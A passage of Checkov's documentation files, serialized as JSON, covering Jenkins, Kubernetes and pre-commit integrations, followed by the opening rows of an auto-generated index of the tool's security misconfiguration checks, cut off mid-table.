    "content": "---\nlayout: default\npublished: true\ntitle: Jenkins\nnav_order: 1\n---\n\n# Integrate Checkov with Jenkins\n\nBelow is a simple example integration with Jenkins using the Checkov container image. This will result in build failures whenever developers create and modify infrastructure as code with misconfigurations. To prevent developer frustration from failed builds, we recommend training and encouraging usage of Checkov's inline suppressions.\n\n## Tutorial\n\n1. Create new Jenkins Pipeline or integrate into an existing one.\n\n![](jenkins_new_pipeline.png)\n\n2. Add new a stage into the pipeline definition using a `pipeline script`\n\n    ```groovy\n    pipeline {\n        agent any\n        \n        stages {\n            stage('Checkout') {\n                steps {\n                    git branch: 'master', url: 'https://github.com/bridgecrewio/terragoat'\n                    stash includes: '**/*', name: 'terragoat'\n                }\n            }\n            stage('Checkov') {\n                steps {\n                    script {\n                        docker.image('bridgecrew/checkov:latest').inside(\"--entrypoint=''\") {\n                            unstash 'terragoat'\n                            try {\n                                sh 'checkov -d . --use-enforcement-rules -o cli -o junitxml --output-file-path console,results.xml --repo-id example/terragoat --branch master'\n                                junit skipPublishingChecks: true, testResults: 'results.xml'\n                            } catch (err) {\n                                junit skipPublishingChecks: true, testResults: 'results.xml'\n                                throw err\n                            }\n                        }\n                    }\n                }\n            }\n        }\n        options {\n            preserveStashes()\n            timestamps()\n        }\n    }\n    ```\n\n\n\n   Alternatively, add the following script to install and run Checkov without an image:\n\n   ```groovy\n   sh \"pipenv run pip install checkov\"\n   sh \"pipenv run checkov -d . --use-enforcement-rules -o cli -o junitxml --output-file-path console,results.xml --repo-id example/terragoat --branch master\"\n   ```\n\n\n\n   Example\n   ![](jenkins_pipeline_definition.png)\n\n\n\n3. Run `Build Now`\n\n\n\n   View build dashboard\n\n   ![](jenkins_all_jobs.png)\n\n\n\n   View job status\n\n   ![](jenkins_failed_job.png)\n\n\n\n   Review test result\n\n   ![](jenkins_test_results.png)\n"
  },
  {
    "path": "docs/4.Integrations/Kubernetes.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Kubernetes\nnav_order: 5\n---\n\n# Integrate Checkov with Kubernetes\n\nCheckov is built to scan static code and is typically used at build time.  However, resources running in a Kubernetes cluster\ncan be described in the same way as at build-time.  This allows Checkov to run in a cluster with read-only access and report\non the same violations.  \n\n## Execution\n\nTo run Checkov in your cluster, you must have Kubernetes CLI access to the cluster.  \n\nTo execute a job against your cluster, run the following manifest:\n\n```bash\nkubectl apply -f https://raw.githubusercontent.com/bridgecrewio/checkov/main/kubernetes/checkov-job.yaml\n```\n\nReview the output of the job:\n\n```bash\nkubectl get jobs -n checkov\nkubectl logs job/checkov -n checkov\n```\n"
  },
  {
    "path": "docs/4.Integrations/pre-commit.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Pre-Commit Hooks\nnav_order: 6\n---\n\n# Pre-Commit Hooks\n\nTo automatically run Checkov whenever files in your Git repository change, first [install the pre-commit binary](https://pre-commit.com/#install) and then add a [.pre-commit-config.yaml](https://github.com/bridgecrewio/checkov/blob/main/.pre-commit-config.yaml) file to your project with content similar to the example below.\n\n\nNOTE: Depending on the hook id you select for pre-commit hooks, you may need to provide the following:\n\n* For the `python` hooks, pre-commit 3.x is able to provide [python](https://pre-commit.com/#python) without additional dependencies.\n* For the `container` hooks, the [Docker](https://docs.docker.com/get-docker/) CLI and a container runtime must be available.\n\n\n```yaml\n- repo: https://github.com/bridgecrewio/checkov.git\n  rev: '' # change to tag or sha\n  hooks:\n    - id: checkov\n      # - id: checkov_container\n      # - id: checkov_diff\n      # - id: checkov_diff_container\n      # - id: checkov_secrets\n      # - id: checkov_secrets_container\n```\n\nMake sure to change `rev:` to be either a git commit sha or tag of checkov containing `.pre-commit-hooks.yaml`. Note that local environment variables will apply when using pre-commit hooks. In urgent situations, pre-commit hooks can be skipped with the `--no-verify` flag.\n\nAfter adding the hooks to `.pre-commit-config.yaml` run the following command(s):\n\n```bash\npre-commit install --install-hooks\n```\n\nor\n\n```bash\npre-commit install\npre-commit install-hooks\n```\n\n## Adding Custom Parameters\n\nBy default, the Checkov pre-commit hook runs when there are changes to `.tf` files. This can be modified by overriding the file parameter:\n\n```yaml\nrepos:\n  - repo: https://github.com/bridgecrewio/checkov.git\n    rev: '' # change to tag or sha\n    hooks:\n      - id: checkov\n        files: \\.y(a)?ml$  # any kind of regex of file types you are interested to trigger the pre-commit hook\n```\n\n\nYou can use the `args` property to input arguments to Checkov. In the example below, Checkov output will be printed, and then Checkov will proceed to the next pre-commit check *regardless of success/failure*.\n\n```yaml\nrepos:\n- repo: https://github.com/bridgecrewio/checkov.git\n  rev: '' # change to tag or sha\n  hooks:\n  - id: checkov\n    verbose: true\n    args: [--soft-fail]\n- repo: https://github.com/pre-commit/pre-commit-hooks\n  rev: v3.2.0\n  hooks:\n  - id: trailing-whitespace\n```\n\nSimilarly, to specify custom policies installed in the `checks` directory of your repository, use the following:\n\n```yaml\nrepos:\n- repo: https://github.com/bridgecrewio/checkov.git\n  rev: '' # change to tag or sha\n  hooks:\n  - id: checkov\n    args: [--external-checks-dir, 'checks']\n```\n\nOr you can override the entry altogether:\n\n```yaml\nrepos:\n  - repo: https://github.com/bridgecrewio/checkov.git\n    rev: '' # change to tag or sha\n    hooks:\n      - id: checkov\n        entry: checkov -d . --skip-check CKV_AWS_123\n```\n\nWhen using the `diff` or `secrets` hooks, the last argument _must_ be `-f` due to how `checkov` and `pre-commit` interact:\n\n```yaml\n      - id: checkov_secrets_container\n        args:\n          - '--quiet'\n          - '-f' # required and must come last\n```\n\nBy default, the container based pre-commit hooks use the `latest` tag. This can be overridden by declaring the version number in the entry field in the pre-commit config.\n\n```yaml\n    hooks:\n      - id: checkov_container\n        entry: bridgecrew/checkov:2.4.2 -d .\n## Diff scanning pre-commit hook\n\nTo let `checkov` only scan the changed files choose the `checkov_diff` hook, which scans against all frameworks:\n\n```yaml\nrepos:\n  - repo: https://github.com/bridgecrewio/checkov.git\n    rev: '' # change to tag or sha\n    hooks:\n      - id: checkov_diff\n      # - id: checkov_diff_container\n```\n\nif you want to customize this hook, you need to override the `entry` field, because the file flag `-f` has to be at the end:\n\n```yaml\nrepos:\n  - repo: https://github.com/bridgecrewio/checkov.git\n    rev: '' # change to tag or sha\n    hooks:\n      - id: checkov_diff\n        entry: checkov --framework terraform -f\n```\n\n## Secrets scanning pre-commit hook\n\nCheckov also natively has a secrets only pre-commit hook that scans all files just for secrets:\n\n```yaml\nrepos:\n  - repo: https://github.com/bridgecrewio/checkov.git\n    rev: '' # change to tag or sha\n    hooks:\n      - id: checkov_secrets\n      # - id: checkov_secrets_container\n```\n"
  },
  {
    "path": "docs/404.md",
    "content": "---\npermalink: /404.html\n---\n\nPage not found :( "
  },
  {
    "path": "docs/5.Policy Index/all.md",
    "content": "---\nlayout: default\ntitle: all resource scans\nnav_order: 1\n---\n\n# all resource scans (auto generated)\n\n|      | Id                       | Type                             | Entity                                                                                           | Policy                                                                                                                                                                                                   | IaC                     | Resource Link                                                                                                                                                                                                                    |\n|------|--------------------------|----------------------------------|--------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n|    0 | CKV2_ADO_1               | resource                         | azuredevops_branch_policy_min_reviewers                                                          | Ensure at least two approving reviews for PRs                                                                                                                                                            | Terraform               | [ADORepositoryHasMinTwoReviewers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azuredevops/ADORepositoryHasMinTwoReviewers.yaml)                                                 |\n|    1 | CKV2_ADO_1               | resource                         | azuredevops_git_repository                                                                       | Ensure at least two approving reviews for PRs                                                                                                                                                            | Terraform               | [ADORepositoryHasMinTwoReviewers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azuredevops/ADORepositoryHasMinTwoReviewers.yaml)                                                 |\n|    2 | CKV_ALI_1                | resource                         | alicloud_oss_bucket                                                                              | Alibaba Cloud OSS bucket accessible to public                                                                                                                                                            | Terraform               | [OSSBucketPublic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/alicloud/OSSBucketPublic.yaml)                                                                                    |\n|    3 | CKV_ALI_1                | resource                         | alicloud_oss_bucket_acl                                                                          | Alibaba Cloud OSS bucket accessible to public                                                                                                                                                            | Terraform               | [OSSBucketPublic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/alicloud/OSSBucketPublic.yaml)                                                                                    |\n|    4 | CKV_ALI_2                | resource                         | alicloud_security_group_rule                                                                     | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22                                                                                                                                        | Terraform               | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/SecurityGroupUnrestrictedIngress22.py)                                                      |\n|    5 | CKV_ALI_3                | resource                         | alicloud_security_group_rule                                                                     | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389                                                                                                                                      | Terraform               | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/SecurityGroupUnrestrictedIngress3389.py)                                                  |\n|    6 | CKV_ALI_4                | resource                         | alicloud_actiontrail_trail                                                                       | Ensure Action Trail Logging for all regions                                                                                                                                                              | Terraform               | [ActionTrailLogAllRegions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/ActionTrailLogAllRegions.py)                                                                          |\n|    7 | CKV_ALI_5                | resource                         | alicloud_actiontrail_trail                                                                       | Ensure Action Trail Logging for all events                                                                                                                                                               | Terraform               | [ActionTrailLogAllEvents.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/ActionTrailLogAllEvents.py)                                                                            |\n|    8 | CKV_ALI_6                | resource                         | alicloud_oss_bucket                                                                              | Ensure OSS bucket is encrypted with Customer Master Key                                                                                                                                                  | Terraform               | [OSSBucketEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/OSSBucketEncryptedWithCMK.py)                                                                        |\n|    9 | CKV_ALI_7                | resource                         | alicloud_disk                                                                                    | Ensure disk is encrypted                                                                                                                                                                                 | Terraform               | [DiskIsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/DiskIsEncrypted.py)                                                                                            |\n|   10 | CKV_ALI_8                | resource                         | alicloud_disk                                                                                    | Ensure Disk is encrypted with Customer Master Key                                                                                                                                                        | Terraform               | [DiskEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/DiskEncryptedWithCMK.py)                                                                                  |\n|   11 | CKV_ALI_9                | resource                         | alicloud_db_instance                                                                             | Ensure database instance is not public                                                                                                                                                                   | Terraform               | [RDSIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSIsPublic.py)                                                                                                    |\n|   12 | CKV_ALI_10               | resource                         | alicloud_oss_bucket                                                                              | Ensure OSS bucket has versioning enabled                                                                                                                                                                 | Terraform               | [OSSBucketVersioning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/OSSBucketVersioning.py)                                                                                    |\n|   13 | CKV_ALI_11               | resource                         | alicloud_oss_bucket                                                                              | Ensure OSS bucket has transfer Acceleration enabled                                                                                                                                                      | Terraform               | [OSSBucketTransferAcceleration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/OSSBucketTransferAcceleration.py)                                                                |\n|   14 | CKV_ALI_12               | resource                         | alicloud_oss_bucket                                                                              | Ensure the OSS bucket has access logging enabled                                                                                                                                                         | Terraform               | [OSSBucketAccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/OSSBucketAccessLogs.py)                                                                                    |\n|   15 | CKV_ALI_13               | resource                         | alicloud_ram_account_password_policy                                                             | Ensure RAM password policy requires minimum length of 14 or greater                                                                                                                                      | Terraform               | [RAMPasswordPolicyLength.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyLength.py)                                                                            |\n|   16 | CKV_ALI_14               | resource                         | alicloud_ram_account_password_policy                                                             | Ensure RAM password policy requires at least one number                                                                                                                                                  | Terraform               | [RAMPasswordPolicyNumber.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyNumber.py)                                                                            |\n|   17 | CKV_ALI_15               | resource                         | alicloud_ram_account_password_policy                                                             | Ensure RAM password policy requires at least one symbol                                                                                                                                                  | Terraform               | [RAMPasswordPolicySymbol.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicySymbol.py)                                                                            |\n|   18 | CKV_ALI_16               | resource                         | alicloud_ram_account_password_policy                                                             | Ensure RAM password policy expires passwords within 90 days or less                                                                                                                                      | Terraform               | [RAMPasswordPolicyExpiration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyExpiration.py)                                                                    |\n|   19 | CKV_ALI_17               | resource                         | alicloud_ram_account_password_policy                                                             | Ensure RAM password policy requires at least one lowercase letter                                                                                                                                        | Terraform               | [RAMPasswordPolicyLowercaseLetter.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyLowercaseLetter.py)                                                          |\n|   20 | CKV_ALI_18               | resource                         | alicloud_ram_account_password_policy                                                             | Ensure RAM password policy prevents password reuse                                                                                                                                                       | Terraform               | [RAMPasswordPolicyReuse.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyReuse.py)                                                                              |\n|   21 | CKV_ALI_19               | resource                         | alicloud_ram_account_password_policy                                                             | Ensure RAM password policy requires at least one uppercase letter                                                                                                                                        | Terraform               | [RAMPasswordPolicyUppcaseLetter.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyUppcaseLetter.py)                                                              |\n|   22 | CKV_ALI_20               | resource                         | alicloud_db_instance                                                                             | Ensure RDS instance uses SSL                                                                                                                                                                             | Terraform               | [RDSInstanceSSL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSInstanceSSL.py)                                                                                              |\n|   23 | CKV_ALI_21               | resource                         | alicloud_api_gateway_api                                                                         | Ensure API Gateway API Protocol HTTPS                                                                                                                                                                    | Terraform               | [APIGatewayProtocolHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/APIGatewayProtocolHTTPS.py)                                                                            |\n|   24 | CKV_ALI_22               | resource                         | alicloud_db_instance                                                                             | Ensure Transparent Data Encryption is Enabled on instance                                                                                                                                                | Terraform               | [RDSTransparentDataEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSTransparentDataEncryptionEnabled.py)                                                    |\n|   25 | CKV_ALI_23               | resource                         | alicloud_ram_account_password_policy                                                             | Ensure Ram Account Password Policy Max Login Attempts not > 5                                                                                                                                            | Terraform               | [RAMPasswordPolicyMaxLogin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyMaxLogin.py)                                                                        |\n|   26 | CKV_ALI_24               | resource                         | alicloud_ram_security_preference                                                                 | Ensure RAM enforces MFA                                                                                                                                                                                  | Terraform               | [RAMSecurityEnforceMFA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RAMSecurityEnforceMFA.py)                                                                                |\n|   27 | CKV_ALI_25               | resource                         | alicloud_db_instance                                                                             | Ensure RDS Instance SQL Collector Retention Period should be greater than 180                                                                                                                            | Terraform               | [RDSRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSRetention.py)                                                                                                  |\n|   28 | CKV_ALI_26               | resource                         | alicloud_cs_kubernetes                                                                           | Ensure Kubernetes installs plugin Terway or Flannel to support standard policies                                                                                                                         | Terraform               | [K8sEnableNetworkPolicies.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/K8sEnableNetworkPolicies.py)                                                                          |\n|   29 | CKV_ALI_27               | resource                         | alicloud_kms_key                                                                                 | Ensure KMS Key Rotation is enabled                                                                                                                                                                       | Terraform               | [KMSKeyRotationIsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/KMSKeyRotationIsEnabled.py)                                                                            |\n|   30 | CKV_ALI_28               | resource                         | alicloud_kms_key                                                                                 | Ensure KMS Keys are enabled                                                                                                                                                                              | Terraform               | [KMSKeyIsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/KMSKeyIsEnabled.py)                                                                                            |\n|   31 | CKV_ALI_29               | resource                         | alicloud_alb_acl_entry_attachment                                                                | Alibaba ALB ACL does not restrict Access                                                                                                                                                                 | Terraform               | [ALBACLIsUnrestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/ALBACLIsUnrestricted.py)                                                                                  |\n|   32 | CKV_ALI_30               | resource                         | alicloud_db_instance                                                                             | Ensure RDS instance auto upgrades for minor versions                                                                                                                                                     | Terraform               | [RDSInstanceAutoUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSInstanceAutoUpgrade.py)                                                                              |\n|   33 | CKV_ALI_31               | resource                         | alicloud_cs_kubernetes_node_pool                                                                 | Ensure K8s nodepools are set to auto repair                                                                                                                                                              | Terraform               | [K8sNodePoolAutoRepair.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/K8sNodePoolAutoRepair.py)                                                                                |\n|   34 | CKV_ALI_32               | resource                         | alicloud_ecs_launch_template                                                                     | Ensure launch template data disks are encrypted                                                                                                                                                          | Terraform               | [LaunchTemplateDisksAreEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/LaunchTemplateDisksAreEncrypted.py)                                                            |\n|   35 | CKV_ALI_33               | resource                         | alicloud_slb_tls_cipher_policy                                                                   | Alibaba Cloud Cypher Policy are secure                                                                                                                                                                   | Terraform               | [TLSPoliciesAreSecure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/TLSPoliciesAreSecure.py)                                                                                  |\n|   36 | CKV_ALI_35               | resource                         | alicloud_db_instance                                                                             | Ensure RDS instance has log_duration enabled                                                                                                                                                             | Terraform               | [RDSInstanceLogsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSInstanceLogsEnabled.py)                                                                              |\n|   37 | CKV_ALI_36               | resource                         | alicloud_db_instance                                                                             | Ensure RDS instance has log_disconnections enabled                                                                                                                                                       | Terraform               | [RDSInstanceLogDisconnections.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSInstanceLogDisconnections.py)                                                                  |\n|   38 | CKV_ALI_37               | resource                         | alicloud_db_instance                                                                             | Ensure RDS instance has log_connections enabled                                                                                                                                                          | Terraform               | [RDSInstanceLogConnections.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSInstanceLogConnections.py)                                                                        |\n|   39 | CKV_ALI_38               | resource                         | alicloud_log_audit                                                                               | Ensure log audit is enabled for RDS                                                                                                                                                                      | Terraform               | [LogAuditRDSEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/LogAuditRDSEnabled.py)                                                                                      |\n|   40 | CKV_ALI_41               | resource                         | alicloud_mongodb_instance                                                                        | Ensure MongoDB is deployed inside a VPC                                                                                                                                                                  | Terraform               | [MongoDBInsideVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/MongoDBInsideVPC.py)                                                                                          |\n|   41 | CKV_ALI_42               | resource                         | alicloud_mongodb_instance                                                                        | Ensure Mongodb instance uses SSL                                                                                                                                                                         | Terraform               | [MongoDBInstanceSSL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/MongoDBInstanceSSL.py)                                                                                      |\n|   42 | CKV_ALI_43               | resource                         | alicloud_mongodb_instance                                                                        | Ensure MongoDB instance is not public                                                                                                                                                                    | Terraform               | [MongoDBIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/MongoDBIsPublic.py)                                                                                            |\n|   43 | CKV_ALI_44               | resource                         | alicloud_mongodb_instance                                                                        | Ensure MongoDB has Transparent Data Encryption Enabled                                                                                                                                                   | Terraform               | [MongoDBTransparentDataEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/MongoDBTransparentDataEncryptionEnabled.py)                                            |\n|   44 | CKV_ANSIBLE_1            | resource                         | [?\"ansible.builtin.uri\" != null][]                                                               | Ensure that certificate validation isn't disabled with uri                                                                                                                                               | Ansible                 | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                                                                                 |\n|   45 | CKV_ANSIBLE_1            | resource                         | [?\"uri\" != null][]                                                                               | Ensure that certificate validation isn't disabled with uri                                                                                                                                               | Ansible                 | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                                                                                 |\n|   46 | CKV_ANSIBLE_1            | resource                         | [].block[?\"ansible.builtin.uri\" != null][]                                                       | Ensure that certificate validation isn't disabled with uri                                                                                                                                               | Ansible                 | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                                                                                 |\n|   47 | CKV_ANSIBLE_1            | resource                         | [].block[?\"uri\" != null][]                                                                       | Ensure that certificate validation isn't disabled with uri                                                                                                                                               | Ansible                 | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                                                                                 |\n|   48 | CKV_ANSIBLE_1            | resource                         | [].block[].block[?\"ansible.builtin.uri\" != null][]                                               | Ensure that certificate validation isn't disabled with uri                                                                                                                                               | Ansible                 | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                                                                                 |\n|   49 | CKV_ANSIBLE_1            | resource                         | [].block[].block[?\"uri\" != null][]                                                               | Ensure that certificate validation isn't disabled with uri                                                                                                                                               | Ansible                 | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                                                                                 |\n|   50 | CKV_ANSIBLE_1            | resource                         | [].block[].block[].block[?\"ansible.builtin.uri\" != null][]                                       | Ensure that certificate validation isn't disabled with uri                                                                                                                                               | Ansible                 | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                                                                                 |\n|   51 | CKV_ANSIBLE_1            | resource                         | [].block[].block[].block[?\"uri\" != null][]                                                       | Ensure that certificate validation isn't disabled with uri                                                                                                                                               | Ansible                 | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                                                                                 |\n|   52 | CKV_ANSIBLE_1            | resource                         | [].tasks[?\"ansible.builtin.uri\" != null][]                                                       | Ensure that certificate validation isn't disabled with uri                                                                                                                                               | Ansible                 | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                                                                                 |\n|   53 | CKV_ANSIBLE_1            | resource                         | [].tasks[?\"uri\" != null][]                                                                       | Ensure that certificate validation isn't disabled with uri                                                                                                                                               | Ansible                 | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                                                                                 |\n|   54 | CKV_ANSIBLE_1            | resource                         | [].tasks[].block[?\"ansible.builtin.uri\" != null][]                                               | Ensure that certificate validation isn't disabled with uri                                                                                                                                               | Ansible                 | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                                                                                 |\n|   55 | CKV_ANSIBLE_1            | resource                         | [].tasks[].block[?\"uri\" != null][]                                                               | Ensure that certificate validation isn't disabled with uri                                                                                                                                               | Ansible                 | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                                                                                 |\n|   56 | CKV_ANSIBLE_1            | resource                         | [].tasks[].block[].block[?\"ansible.builtin.uri\" != null][]                                       | Ensure that certificate validation isn't disabled with uri                                                                                                                                               | Ansible                 | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                                                                                 |\n|   57 | CKV_ANSIBLE_1            | resource                         | [].tasks[].block[].block[?\"uri\" != null][]                                                       | Ensure that certificate validation isn't disabled with uri                                                                                                                                               | Ansible                 | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                                                                                 |\n|   58 | CKV_ANSIBLE_1            | resource                         | [].tasks[].block[].block[].block[?\"ansible.builtin.uri\" != null][]                               | Ensure that certificate validation isn't disabled with uri                                                                                                                                               | Ansible                 | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                                                                                 |\n|   59 | CKV_ANSIBLE_1            | resource                         | [].tasks[].block[].block[].block[?\"uri\" != null][]                                               | Ensure that certificate validation isn't disabled with uri                                                                                                                                               | Ansible                 | [UriValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/UriValidateCerts.py)                                                                                                 |\n|   60 | CKV_ANSIBLE_2            | resource                         | [?\"ansible.builtin.get_url\" != null][]                                                           | Ensure that certificate validation isn't disabled with get_url                                                                                                                                           | Ansible                 | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                                                                           |\n|   61 | CKV_ANSIBLE_2            | resource                         | [?\"get_url\" != null][]                                                                           | Ensure that certificate validation isn't disabled with get_url                                                                                                                                           | Ansible                 | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                                                                           |\n|   62 | CKV_ANSIBLE_2            | resource                         | [].block[?\"ansible.builtin.get_url\" != null][]                                                   | Ensure that certificate validation isn't disabled with get_url                                                                                                                                           | Ansible                 | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                                                                           |\n|   63 | CKV_ANSIBLE_2            | resource                         | [].block[?\"get_url\" != null][]                                                                   | Ensure that certificate validation isn't disabled with get_url                                                                                                                                           | Ansible                 | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                                                                           |\n|   64 | CKV_ANSIBLE_2            | resource                         | [].block[].block[?\"ansible.builtin.get_url\" != null][]                                           | Ensure that certificate validation isn't disabled with get_url                                                                                                                                           | Ansible                 | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                                                                           |\n|   65 | CKV_ANSIBLE_2            | resource                         | [].block[].block[?\"get_url\" != null][]                                                           | Ensure that certificate validation isn't disabled with get_url                                                                                                                                           | Ansible                 | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                                                                           |\n|   66 | CKV_ANSIBLE_2            | resource                         | [].block[].block[].block[?\"ansible.builtin.get_url\" != null][]                                   | Ensure that certificate validation isn't disabled with get_url                                                                                                                                           | Ansible                 | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                                                                           |\n|   67 | CKV_ANSIBLE_2            | resource                         | [].block[].block[].block[?\"get_url\" != null][]                                                   | Ensure that certificate validation isn't disabled with get_url                                                                                                                                           | Ansible                 | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                                                                           |\n|   68 | CKV_ANSIBLE_2            | resource                         | [].tasks[?\"ansible.builtin.get_url\" != null][]                                                   | Ensure that certificate validation isn't disabled with get_url                                                                                                                                           | Ansible                 | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                                                                           |\n|   69 | CKV_ANSIBLE_2            | resource                         | [].tasks[?\"get_url\" != null][]                                                                   | Ensure that certificate validation isn't disabled with get_url                                                                                                                                           | Ansible                 | [GetUrlValidateCerts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/builtin/GetUrlValidateCerts.py)                                                                                           |\n|   70 | CKV_ANSIBLE_2            | resource                         | [].tasks[].block[?\"ansible.builtin.get_url\" != null][]                                           | Ensure that certificate validation 